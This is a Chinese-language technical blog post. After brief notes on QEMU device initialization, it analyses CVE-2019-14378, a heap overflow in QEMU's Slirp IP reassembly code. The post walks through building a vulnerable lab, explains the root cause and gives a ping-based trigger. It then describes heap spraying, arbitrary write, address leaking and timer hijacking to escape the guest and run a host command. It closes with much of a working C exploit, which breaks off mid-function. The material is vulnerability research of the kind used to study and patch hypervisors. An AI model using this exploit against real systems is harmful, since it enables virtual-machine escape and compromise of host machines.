类初始化用于初始化类TypeImpl和其他数据,但不用于初始化数据。
但是很难正确认识instance_init和realize的任务分工。

简而言之,当我们需要一个实例时,我们首先调用instance_init,然后调用realize。
前者不可能失败,但后者可能会导致失败。
所以这里的基本思想是先实例化设备对象,然后检查这些对象的接口,在设备通过被实现而最终变为“活动”之前它们的创建者可以设置它们的属性来配置它们的设置,并将它们与其他设备连接起来。需要注意的是,设备可以被实例化(也可以被最终确定),但是不一定需要被实现!

如果我们希望我们的设备为QEMU代码的其他部分或其他用户提供属性,并且我们希望通过许多对象属性函数调用之一添加这些属性(而不是使用设备类的“props”字段),我们应该在实例中而不是在realize()函数中这样做。否则,当用户使用–device xyz、help或device list properties QOM命令获取有关设备的信息时,这些属性将不会显示。

永远不要假设设备总是只与它设计的机器一起实例化。设备的instance_init函数会被调用来创建设备的临时实例。因此,尤其应该注意不要依赖instance_init函数中假设某些总线或其他设备的可用性,也不要在instance_init函数中使用serial_hd或nd_table,因为这些可能(也应该)已经被machine init函数使用,且可能没有完全实现。如果设备需要连接,请提供作为外部接口的属性,并让设备的创建者(例如,机器初始化代码)在设备实例化和实现阶段之间连接设备。

确保设备在临时实例再次被销毁后保持干净状态,即不要假设只有一个设备实例是在QEMU启动后的开始处创建的,并且在QEMU终止前的最后处被销毁。因此,不要假设在实例中执行的操作不需要显式清理,设备实例可以在任何时候创建和销毁,因此当设备完成最后的实现时,不能将任何悬挂的指针或对设备的引用留着,例如在QOM树中。

QEMU CVE示例分析(CVE-2019-14378)

环境搭建

编译 qemu

首先下载存在该漏洞的 QEMU 源码,这里我选择 3.1.0 版本。

$ wget https://download.qemu.org/qemu-3.1.0.tar.xz
$ tar xvJf qemu-3.1.0.tar.xz

创建编译目录配置编译选项并编译。

$ mkdir qemu && cd qemu
$ ../qemu-3.1.0/configure --enable-kvm  --target-list=x86_64-softmmu
$ make -j4

其实可以 --enable-debug 保留调试符号,不过不加貌似也不影响调试。
最终在 x86_64-softmmu 目录下生成 qemu-system-x86_64

制作 debian 文件系统镜像

首先安装 debootstrap

$ sudo apt install debootstrap

之后参考 create_image.sh 制作一个2GB大小的rootfs.img镜像文件。

mkdir rootfssudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfsset -eux# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

编译 linux 内核

我选择的 linux 内核版本为 5.2.11 。注意在编译的时候需要把 gcc 版本切换到 gcc-8 ,否则会报语法错误,切换版本方法参考。

$ wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
$ tar -xvf linux-5.2.11.tar.xz
$ cd linux-5.2.11/
$ make defconfig
$ make kvmconfig

要确保下面两个配置选项是打开的, 否则系统启动的时候会出现发现启动网卡的错误,因为对应的网卡驱动没有编译进去。
因此编辑 .config 文件,添加下面的内容。

CONFIG_8139CP=y  # rtl8139 驱动
CONFIG_PCNET32=y # pcnet 驱动

最后 make -j4 编译,在 arch/x86/boot/ 目录下生成 bzImage

运行及调试相关

靶机启动脚本:

#!/bin/bash
./qemu/x86_64-softmmu/qemu-system-x86_64 \-kernel ./linux-5.2.11/arch/x86/boot/bzImage  \-append "console=ttyS0 root=/dev/sda rw"  \-hda ./rootfs.img  \-enable-kvm -m 2G -nographic \-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \-net user,hostfwd=tcp::10021-:22 -net nic

靶机网络结构如下图:
在这里插入图片描述
因为将22端口转发到了本地的10021端口,因此可以通过ssh -i ./ssh/id_rsa -p 10021 root@localhost,登进去虚拟机对虚拟机进行管理,也可以通过sudo scp -i ./ssh/id_rsa -P 10021 exp root@localhost:~命令将编译好的exp拷贝到靶机中。
第一次传输文件时可能会出现这种情况:
在这里插入图片描述
根据提示可知输入如下命令重置密钥即可。

$ sudo ssh-keygen -f "/root/.ssh/known_hosts" -R "[localhost]:10021"

另外靶机不支持 ifconfig 命令,需要手动安装 net-tools 。

$ sudo apt install net-tools

调试脚本只需要在启动脚本前面加上gdb -args 。因为是本地编译的qemu,因此支持源码调试。
在这里插入图片描述

Slirp 模块介绍

相关结构

Slirp

Slirp结构体用于管理Slirp模块相关的数据结构。
下面介绍其中一些比较重要的字段:

    /* mbuf states */struct quehead m_freelist;struct quehead m_usedlist;int mbuf_alloced;

该字段用于管理 mbuf 结构体。mbuf在Slirp模块中的作用类似于chunk,用于存储Slirp模块中的一些结构和数据。m_freelistm_usedlist分别构成双向链表管理。mbuf_alloced表示当前mbuf的数量。

 struct ipq ipq;         /* ip reass. queue */

ipq结构如下:

struct ipq {struct qlink frag_link;			/* to ip headers of fragments */struct qlink ip_link;				/* to other reass headers */uint8_t	ipq_ttl;		/* time for reass q to live */uint8_t	ipq_p;			/* protocol of this fragment */uint16_t	ipq_id;			/* sequence id for reassembly */struct	in_addr ipq_src,ipq_dst;
} QEMU_PACKED;

其中 ip_link 作为一个双向链表维护所有tcp链接的数据组成的队列。
frag_link 维护当前连接收发的ip数据报的链表,链表的元素为ipq,定义如下:

struct	ipasfrag {struct qlink ipf_link;struct ip ipf_ip;
} QEMU_PACKED;

通过下面的宏定义可以实现 ipasfrag 与 ip 的类型转换。

#define iptofrag(P) ((struct ipasfrag *)(((char*)(P)) - sizeof(struct qlink)))
#define fragtoip(P) ((struct ip*)(((char*)(P)) + sizeof(struct qlink)))

mbuf

mbuf 的结构定义如下:

struct mbuf {/* XXX should union some of these! *//* header at beginning of each mbuf: */struct	mbuf *m_next;		/* Linked list of mbufs */struct	mbuf *m_prev;struct	mbuf *m_nextpkt;	/* Next packet in queue/record */struct	mbuf *m_prevpkt;	/* Flags aren't used in the output queue */int	m_flags;		/* Misc flags */int	m_size;			/* Size of mbuf, from m_dat or m_ext */struct	socket *m_so;caddr_t	m_data;			/* Current location of data */int	m_len;			/* Amount of data in this mbuf, from m_data */Slirp *slirp;bool	resolution_requested;uint64_t expiration_date;char   *m_ext;/* start of dynamic buffer area, must be last element */char    m_dat[];
};

其中关键字段解释如下:

  • m_size:当前 mbuf 用于存储数据的结构的总大小
  • m_len:当前 mbuf 已经存储的数据的长度,即 m_data 指向的结构大小
  • m_data:指向当前 mbuf 用于存储数据的结构的某个位置,具体位置视情况而定
  • slirp:指向 mbuf 所在的 slirp 结构体
  • m_ext:当 m_dat 存不下数据时会 malloc 一块内存用于存储数据,m_ext 指向该内存的起始位置
  • m_dat:m_buf 默认存储数据的结构

与 mbuf 相关的函数或宏定义如下:

#define mtod(m,t)	((t)(m)->m_data)

即 memory to data 根据 mbuf 结构体访问 mbuf 当前 m_data 字段指向的数据,并将其强转为 t 类型。

struct mbuf *
dtom(Slirp *slirp, void *dat)
{struct mbuf *m;DEBUG_CALL("dtom");DEBUG_ARG("dat = %p", dat);/* bug corrected for M_EXT buffers */for (m = (struct mbuf *) slirp->m_usedlist.qh_link;(struct quehead *) m != &slirp->m_usedlist;m = m->m_next) {if (m->m_flags & M_EXT) {if( (char *)dat>=m->m_ext && (char *)dat<(m->m_ext + m->m_size) )return m;} else {if( (char *)dat >= m->m_dat && (char *)dat<(m->m_dat + m->m_size) )return m;}}DEBUG_ERROR((dfd, "dtom failed"));return (struct mbuf *)0;
}

即 data to memory,根据数据找到存储该数据的 mbuf,方法是暴力遍历 slirp 维护的所有 mbuf,看数据地址是否在其范围内。

struct mbuf *
m_get(Slirp *slirp)
{register struct mbuf *m;int flags = 0;DEBUG_CALL("m_get");if (slirp->m_freelist.qh_link == &slirp->m_freelist) {m = g_malloc(SLIRP_MSIZE);slirp->mbuf_alloced++;if (slirp->mbuf_alloced > MBUF_THRESH)flags = M_DOFREE;m->slirp = slirp;} else {m = (struct mbuf *) slirp->m_freelist.qh_link;remque(m);}/* Insert it in the used list */insque(m,&slirp->m_usedlist);m->m_flags = (flags | M_USEDLIST);/* Initialise it */m->m_size = SLIRP_MSIZE - offsetof(struct mbuf, m_dat);m->m_data = m->m_dat;m->m_len = 0;m->m_nextpkt = NULL;m->m_prevpkt = NULL;m->resolution_requested = false;m->expiration_date = (uint64_t)-1;DEBUG_ARG("m = %p", m);return m;
}void
m_free(struct mbuf *m)
{DEBUG_CALL("m_free");DEBUG_ARG("m = %p", m);if(m) {/* Remove from m_usedlist */if (m->m_flags & M_USEDLIST)remque(m);/* If it's M_EXT, free() it */if (m->m_flags & M_EXT) {g_free(m->m_ext);}/** Either free() it or put it on the free list*/if (m->m_flags & M_DOFREE) {m->slirp->mbuf_alloced--;g_free(m);} else if ((m->m_flags & M_FREELIST) == 0) {insque(m,&m->slirp->m_freelist);m->m_flags = M_FREELIST; /* Clobber other flags */}} /* if(m) */
}

m_get 和 m_free 是用于申请和释放 mbuf 的,对于 mbuf_alloced 大于 MBUF_THRESH 的会打上 M_DOFREE 标记,释放时直接释放而不会放入 m_freelist 中。

void
m_cat(struct mbuf *m, struct mbuf *n)
{/** If there's no room, realloc*/if (M_FREEROOM(m) < n->m_len)m_inc(m, m->m_len + n->m_len);memcpy(m->m_data+m->m_len, n->m_data, n->m_len);m->m_len += n->m_len;m_free(n);
}

m_cat 用于连接两个 mbuf,即将后一个 mbuf 的内容 复制到前一个 mbuf 中,然后释放后一个 mbuf 。

void
m_inc(struct mbuf *m, int size)
{int gapsize;/* some compilers throw up on gotos.  This one we can fake. */if (M_ROOM(m) > size) {return;}if (m->m_flags & M_EXT) {gapsize = m->m_data - m->m_ext;m->m_ext = g_realloc(m->m_ext, size + gapsize);} else {gapsize = m->m_data - m->m_dat;m->m_ext = g_malloc(size + gapsize);memcpy(m->m_ext, m->m_dat, m->m_size);m->m_flags |= M_EXT;}m->m_data = m->m_ext + gapsize;m->m_size = size + gapsize;
}

m_inc 用于增加 mbuf 的容量,如果数据在 m_ext 中则 realloc m_ext,否则创建 m_ext。

关键过程

slirp_input

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{...proto = ntohs(*(uint16_t *)(pkt + 12));switch(proto) {...case ETH_P_IP:case ETH_P_IPV6:m = m_get(slirp);if (!m)return;/* Note: we add 2 to align the IP header on 4 bytes,* and add the margin for the tcpiphdr overhead  */if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {m_inc(m, pkt_len + TCPIPHDR_DELTA + 2);}m->m_len = pkt_len + TCPIPHDR_DELTA + 2;memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len);m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN;m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN;if (proto == ETH_P_IP) {ip_input(m);} ...}
}

这里 pkt 参数指向的是发送的数据包,包括 以太网层和IP层。
将 pkt 的数据复制到 mbuf 中然后调整 m_data 指向 ip 报文头部,最后调用 ip_input 函数。

ip_input

void
ip_input(struct mbuf *m)
{...	// 校验 IP 数据包if (ip->ip_off &~ IP_DF) {register struct ipq *fp;struct qlink *l;/** Look for queue of fragments* of this datagram.*/for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;l = l->next) {fp = container_of(l, struct ipq, ip_link);if (ip->ip_id == fp->ipq_id &&ip->ip_src.s_addr == fp->ipq_src.s_addr &&ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&ip->ip_p == fp->ipq_p)goto found;}fp = NULL;found:/** Adjust ip_len to not reflect header,* set ip_mff if more fragments are expected,* convert offset of this to bytes.*/ip->ip_len -= hlen;if (ip->ip_off & IP_MF)ip->ip_tos |= 1;elseip->ip_tos &= ~1;ip->ip_off <<= 3;/** If datagram marked as having more fragments* or if this is not the first fragment,* attempt reassembly; if it succeeds, proceed.*/if (ip->ip_tos & 1 || ip->ip_off) {ip = ip_reass(slirp, ip, fp);if (ip == NULL)return;m = dtom(slirp, ip);} elseif (fp)ip_freef(slirp, fp);...
}

首先从 slirp 的 ipq 中找到与数据包对应的队列 fp 。
根据 IP_MF 标记设置 ip_tos ,并将 ip_off 转换为 字节单位。
最后根据 ip_tos 字段判断是否需要 ip_reass 进行数据包合并。

ip_reass

首先调整 m_data 指向 ip 数据包内容。

	int hlen = ip->ip_hl << 2;m->m_data += hlen;m->m_len -= hlen;

如果 fp 为空则创建 fp ,即存放数据包分片的队列。

      if (fp == NULL) {struct mbuf *t = m_get(slirp);if (t == NULL) {goto dropfrag;}fp = mtod(t, struct ipq *);insque(&fp->ip_link, &slirp->ipq.ip_link);fp->ipq_ttl = IPFRAGTTL;fp->ipq_p = ip->ip_p;fp->ipq_id = ip->ip_id;fp->frag_link.next = fp->frag_link.prev = &fp->frag_link;fp->ipq_src = ip->ip_src;fp->ipq_dst = ip->ip_dst;q = (struct ipasfrag *)fp;goto insert;}

之后是将新数据插入原有队列中。首先是找到插入位置然后删除重叠部分最后将数据插入到队列中,删除策略如下图所示。另外如果原有数据完全包含新加的数据则不执行插入操作。
在这里插入图片描述

	/** Find a segment which begins after this one does.*/for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;q = q->ipf_next)if (q->ipf_off > ip->ip_off)break;/** If there is a preceding segment, it may provide some of* our data already.  If so, drop the data from the incoming* segment.  If it provides all of our data, drop us.*/if (q->ipf_prev != &fp->frag_link) {struct ipasfrag *pq = q->ipf_prev;i = pq->ipf_off + pq->ipf_len - ip->ip_off;if (i > 0) {if (i >= ip->ip_len)goto dropfrag;m_adj(dtom(slirp, ip), i);ip->ip_off += i;ip->ip_len -= i;}}/** While we overlap succeeding segments trim them or,* if they are completely covered, dequeue them.*/while (q != (struct ipasfrag*)&fp->frag_link &&ip->ip_off + ip->ip_len > q->ipf_off) {i = (ip->ip_off + ip->ip_len) - q->ipf_off;if (i < q->ipf_len) {q->ipf_len -= i;q->ipf_off += i;m_adj(dtom(slirp, q), i);break;}q = q->ipf_next;m_free(dtom(slirp, q->ipf_prev));ip_deq(q->ipf_prev);}insert:/** Stick new segment in its place;* check for complete reassembly.*/ip_enq(iptofrag(ip), q->ipf_prev);

之后检查数据是否完整,如果完整且ipf_tos最低位置1(即IP_MF没有置位)则说明数据完整,可以进行后续操作。

	next = 0;for (q = fp->frag_link.next; q != (struct ipasfrag*)&fp->frag_link;q = q->ipf_next) {if (q->ipf_off != next)return NULL;next += q->ipf_len;}if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)return NULL;

将分散在多个 mbuf 中的数据拼接在一起。

    q = fp->frag_link.next;m = dtom(slirp, q);q = (struct ipasfrag *) q->ipf_next;while (q != (struct ipasfrag*)&fp->frag_link) {struct mbuf *t = dtom(slirp, q);q = (struct ipasfrag *) q->ipf_next;m_cat(m, t);}

如果 M_EXT 置位说明此时数据存放在 m_ext 中,作者错误地认为初始状态下数据一定是存放在 m_dat 中,因此调整 q 指向 m_ext 对应偏移。

	q = fp->frag_link.next;/** If the fragments concatenated to an mbuf that's* bigger than the total size of the fragment, then and* m_ext buffer was alloced. But fp->ipq_next points to* the old buffer (in the mbuf), so we must point ip* into the new buffer.*/if (m->m_flags & M_EXT) {int delta = (char *)q - m->m_dat;q = (struct ipasfrag *)(m->m_ext + delta);}

最后设置相关字段并返回数据。

    ip = fragtoip(q);ip->ip_len = next;ip->ip_tos &= ~1;ip->ip_src = fp->ipq_src;ip->ip_dst = fp->ipq_dst;remque(&fp->ip_link);(void) m_free(dtom(slirp, fp));m->m_len += (ip->ip_hl << 2);m->m_data -= (ip->ip_hl << 2);return ip;

漏洞分析

在 ip_reass 函数合并完数据包之后,如果 M_EXT 置为,则将 q 指向 m_ext 对应的偏移。然而这里代码逻辑正确的前提是 q 初始时指向 m_dat,即在合并之前数据都是存储在 mbuf 的 m_dat 中。

	if (m->m_flags & M_EXT) {int delta = (char *)q - m->m_dat;q = (struct ipasfrag *)(m->m_ext + delta);}

然而在 slirp_input 中,将 pkt 中的数据存储到 mbuf 时会判断数据包长度是否过长,如果过长则 m_inc 创建 m_ext 之后数据存储在 m_ext 中。

        if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {m_inc(m, pkt_len + TCPIPHDR_DELTA + 2);}

因此如果发送一个过长的支持分片的 IP 数据报则会触发该漏洞。
在这里插入图片描述
最后在执行如下代码修改 q 指向的位置附近的数据,我们可以控制 fp->ipq_srcfp->ipq_dst 的内容从而实现一次 8 字节的越界写操作。

    ip = fragtoip(q);ip->ip_len = next;ip->ip_tos &= ~1;ip->ip_src = fp->ipq_src;ip->ip_dst = fp->ipq_dst;

我们可以对网卡进行设置,提高其分片值,然后发送超长的 ICMP 报文触发漏洞。

$ sudo ifconfig enp0s3 mtu 12000 up
$ ping -c 1 -s 30000 8.8.8.8

成功触发漏洞
在这里插入图片描述

漏洞利用

堆的申请释放

堆的申请可以看做如下过程:

// m = m_get(slirp);
malloc(0x668);
// M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2
if (0x608 < pkt_len + 30) {// m_inc(m, pkt_len + TCPIPHDR_DELTA + 2);malloc(m, pkt_len + 30);
}
// if (fp == NULL) 
// struct mbuf *t = m_get(slirp);
malloc(0x668)

关于堆的释放,如果发送的分片的 IP 数据报没有 IP_MF 置为则最终会将申请的相关堆块释放。

为了保证申请的堆在内存中排布连续,应当再每次对利用前进行堆喷射,从而耗尽 m_freelist 以及 bins 中相关的堆块。

另外,堆喷射还可以保证释放的堆块是真正的 free 掉了,而不是放到 m_freelist 中。

void spray(uint32_t size, u_int32_t count) {printf("[*] Spraying 0x%x x ICMP[0x%x]\n", count, size);for (int i = 0; i < count; i++) {send_icmp(spray_id + i, size, NULL, IP_MF);}
}

任意地址写

根据前面对漏洞的分析不难想到,只要通过申请连续的堆块,然后释放掉特定位置的堆块,最后再次申请堆块就可以控制堆块之间的距离,也就是能够控制 delta 的数值,从而修改特定位置的数据。

然而这样实现的写操作只能够修改一定范围的内存数据,不过可以借助这个部分地址写实现对 mbuf 字段的修改从而实现任意地址写。

比较直接的想法是覆盖 mbuf 中的 m_data 使其指向特定,然后借助 m_cat 实现任意地址写。

slirp/src/muf.c:m_catmemcpy(m->m_data + m->m_len, n->m_data, n->m_len);

然而实际分析发现,由于 chunk 对其的缘故,实际能够写的地址总是与 m_data 偏移 4 字节,导致不能完整修改 m_data 。

不过可以通过控制 delta 使得 fp->ipq_src 覆盖到 m_len ,而 m_len 恰好是 4 节,可以实现完全覆盖。如果原来 m_data 指向的是 m_dat ,那么通过控制 m_len 长度并利用 m_cat 覆盖 m_data 指向指定地址 ,之后再次利用 m_cat 在目标地址写入数据。

首先完成堆排布:
在这里插入图片描述
之后释放堆块创建出两个空闲堆块:
在这里插入图片描述
之后利用两个空闲堆块控制 delta,然后利用 m_cat 修改 target mbuf 中的 m_len 为 -0x70 。此时 m_data + m_len 指向 m_data 。注意,除了 ip_src 和 ip_dst 外还修改了 ip_len 和 p_top ,不过这两处修改都修改的是 mbuf 的 m_so字段,而这个字段没有被使用过,因此不会产生影响。
在这里插入图片描述

不过在实际利用过程中需要做到值覆盖 m_data 的低 addrlen 长度的数据从而绕过地址随机化,并且由于 ip 数据包最小长度限制只能发送 8 字节以上数据,因此实际 m_len 在 addrlen 不为 8 时应当设为 -0x70 - (0x8 - addrlen)
利用 m_cat 先将 m_data 覆盖为 target + (0x70 + addrlen) 然后再在 target 地址处写入数据。
在这里插入图片描述

泄露基地址

SLiRP网关响应ICMP回应请求,返回数据包的有效负载不变。借助这个特性,可以利用任意地址写在某一地址处伪造 ICMP 报文,前面实现的任意地址写可以只修改低字节绕过地址随机化而高字节为堆的基地址,因此可以利用伪造的 ICMP 报文泄露堆中的某块内存的数据。
在这里插入图片描述
当伪造 ICMP 报文位于堆基址偏移 0xae0 的位置时,ICMP 报文 偏移 0x80 的位置可以泄露代码段基址。

code_leak = (void *) (*((size_t *) &recv_ether_frame[0x80]) - CPU_UPDATE_STATE);

在这里插入图片描述

控制流劫持

QEMUTimers 提供了一种在经过一段时间间隔后调用给定例程回调的方法,相关函数和结构如下:

struct QEMUTimerList {QEMUTimer active_timers;
};struct QEMUTimer {int64_t expire_time;        /* in nanoseconds */QEMUTimerList *timer_list;QEMUTimerCB *cb;void *opaque;QEMUTimer *next;int attributes;int scale;
};struct QEMUTimerListGroup {QEMUTimerList *tl[QEMU_CLOCK_MAX];
}extern QEMUTimerListGroup main_loop_tlg;bool timerlist_run_timers(QEMUTimerList *timer_list)
{.../* remove timer from the list before calling the callback */timer_list->active_timers = ts->next;ts->next = NULL;ts->expire_time = -1;cb = ts->cb;opaque = ts->opaque;/* run the callback (the timer list can be modified) */qemu_mutex_unlock(&timer_list->active_timers_lock);cb(opaque);qemu_mutex_lock(&timer_list->active_timers_lock);...
}bool qemu_clock_run_all_timers(void)
{bool progress = false;QEMUClockType type;for (type = 0; type < QEMU_CLOCK_MAX; type++) {if (qemu_clock_use_for_deadline(type)) {progress |= qemu_clock_run_timers(type);}}return progress;
}bool qemu_clock_run_timers(QEMUClockType type)
{return timerlist_run_timers(main_loop_tlg.tl[type]);
}bool qemu_clock_run_all_timers(void)
{bool progress = false;QEMUClockType type;for (type = 0; type < QEMU_CLOCK_MAX; type++) {if (qemu_clock_use_for_deadline(type)) {progress |= qemu_clock_run_timers(type);}}return progress;
}void main_loop_wait(int nonblocking)
{...qemu_clock_run_all_timers();
}

因此可以在指定地址伪造 QEMUTimerList ,QEMUTimer 以及要执行的命令,然后修改 main_loop_tlg 指向伪造的 QEMUTimerList 来执行命令。
在这里插入图片描述

运行效果

运行 exp 成功弹出计算器,QEMU 逃逸成功。
在这里插入图片描述

exp

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <time.h>#define die(x) do {                             \perror(x);                                  \exit(EXIT_FAILURE);                         \}while(0);// * * * * * * * * * * * * * * *  Constans * * * * * * * * * * * * * * * * * *const char SRC_ADDR[] = "10.0.2.15";
const char DST_ADDR[] = "10.0.2.2";
const char INTERFACE[] = "enp0s3";
const char cmd[] = "/usr/bin/gnome-calculator";#define ETH_HDRLEN 14         // Ethernet header length
#define IP4_HDRLEN 20         // IPv4 header length
#define ICMP_HDRLEN 8         // ICMP header length for echo request, excludes data
#define MIN_MTU 12000// * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *#define SYSTEM_PLT 0x2a6234
#define QEMU_CLOCK 0xdc8520
#define QEMU_TIMER_NOTIFY_CB 0x2f4720
#define MAIN_LOOP_TLG 0xdc8500
#define CPU_UPDATE_STATE 0x4021d0// Some place in bss which is not used to craft fake stucts
#define FAKE_STRUCT 0xD88BE2// * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *struct mbuf {struct mbuf *m_next;        /* Linked list of mbufs */struct mbuf *m_prev;struct mbuf *m_nextpkt;    /* Next packet in queue/record */struct mbuf *m_prevpkt;    /* Flags aren't used in the output queue */int m_flags;        /* Misc flags */int m_size;            /* Size of mbuf, from m_dat or m_ext */struct socket *m_so;char *m_data;            /* Current location of data */int m_len;            /* Amount of data in this mbuf, from m_data */void *slirp;char resolution_requested;u_int64_t expiration_date;char *m_ext;/* start of dynamic buffer area, must be last element */char *m_dat;
};struct QEMUTimer {int64_t expire_time;        /* in nanoseconds */void *timer_list;void *cb;void *opaque;void *next;int attributes;int scale;
};struct QEMUTimerList {void *clock;char active_timers_lock[0x30];struct QEMUTimer *active_timers;struct QEMUTimerList *le_next;   /* next element */                      \struct QEMUTimerList **le_prev;  /* address of previous next element */  \void *notify_cb;void *notify_opaque;/* lightweight method to mark the end of timerlist's running */size_t timers_done_ev;
};// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *int raw_socket;
int recv_socket;
int spray_id;
int idx;
char mac[6];void *code_leak;
void *heap_leak;unsigned short in_cksum(const unsigned short *ptr, int nbytes) {long sum = 0;for (int i = 0; i < nbytes / 2; i++) {sum += ptr[i];}if (nbytes & 1) {sum += ptr[nbytes / 2] & 0xff;}sum = (sum >> 16) + (sum & 0xffff);sum += sum >> 16;return ~sum;
}void hex_dump(char *desc, void *addr, int len) {unsigned char *pc = (unsigned char *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len; i += 16) {printf("  %04x", i);for (int j = 0; j < 16; j++) {i + j < len ? printf(" %02x", pc[i + j]) : printf("   ");}printf("   ");for (int j = 0; j < 16 && j + i < len; j++) {printf("%c", (pc[i + j] < 0x20) || (pc[i + j] > 0x7e) ? '.' : pc[i + j]);}puts("");}
}char *ethernet_header(char *eth_hdr) {memcpy(&eth_hdr[6], mac, 6);eth_hdr[12] = ETH_P_IP / 256;eth_hdr[13] = ETH_P_IP % 256;return eth_hdr;
}void ip_header(struct iphdr *ip, u_int32_t src_addr, u_int32_t dst_addr, u_int16_t payload_len, u_int8_t protocol, u_int16_t id, uint16_t frag_off) {ip->ihl = IP4_HDRLEN / sizeof(uint32_t);ip->version = 4;ip->tos = 0x0;ip->tot_len = htons(IP4_HDRLEN + payload_len);ip->id = htons(id);ip->ttl = 64;ip->frag_off = htons(frag_off);ip->protocol = protocol;ip->saddr = src_addr;ip->daddr = dst_addr;ip->check = in_cksum((unsigned short *) ip, IP4_HDRLEN);
}void icmp_header(struct icmphdr *icmp, char *data, size_t size) {icmp->type = ICMP_ECHO;icmp->code = 0;icmp->un.echo.id = htons(0);icmp->un.echo.sequence = htons(0);if (data) {char *payload = (char *) icmp + ICMP_HDRLEN;memcpy(payload, data, size);}icmp->checksum = in_cksum((unsigned short *) icmp, ICMP_HDRLEN + size);
}void send_pkt(char *frame, u_int32_t frame_length) {struct sockaddr_ll sock;sock.sll_family = AF_PACKET;sock.sll_ifindex = idx;sock.sll_halen = 6;memcpy(sock.sll_addr, mac, 6 * sizeof(uint8_t));if (sendto(raw_socket, frame, frame_length, 0x0, (struct sockaddr *) &sock, sizeof(sock)) < 0) {die("[-] sendto()");}
}void send_ip4(uint32_t id, u_int32_t size, char *data, u_int16_t frag_off) {u_int32_t src_addr, dst_addr;src_addr = inet_addr(SRC_ADDR);dst_addr = inet_addr(DST_ADDR);u_int32_t len = ETH_HDRLEN + IP4_HDRLEN + size;char *pkt = calloc(len, 1);struct iphdr *ip = (struct iphdr *) (pkt + ETH_HDRLEN);ethernet_header(pkt);ip_header(ip, src_addr, dst_addr, size, IPPROTO_ICMP, id, frag_off);if (data) {char *payload = (char *) pkt + ETH_HDRLEN + IP4_HDRLEN;memcpy(payload, data, size);}send_pkt(pkt, len);free(pkt);
}void send_icmp(uint32_t id, u_int32_t size, char *data, u_int16_t frag_off) {u_int32_t len = ICMP_HDRLEN + size;char *pkt = calloc(len, 1);struct icmphdr *icmp = (struct icmphdr *) pkt;icmp_header(icmp, data, size);send_ip4(id, len, pkt, frag_off);free(pkt);
}// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *void initialize() {int sd;struct ifreq ifr = {};char set_mtu[40] = {};srand(time(NULL));sprintf(set_mtu, "sudo ifconfig %s mtu %d up", INTERFACE, MIN_MTU);system(set_mtu);if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {die("[-] socket() failed to get socket descriptor for using ioctl()");}memcpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name));if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {die("[-] ioctl() failed to find interface ");}close(sd);printf("Index for interface %s : %i\n", INTERFACE, ifr.ifr_ifindex);idx = ifr.ifr_ifindex;if ((raw_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1)die("[-] socket() failed to obtain raw socket");/* Bind socket to interface index. */if (setsockopt(raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {die("[-] setsockopt() failed to bind to interface ");}
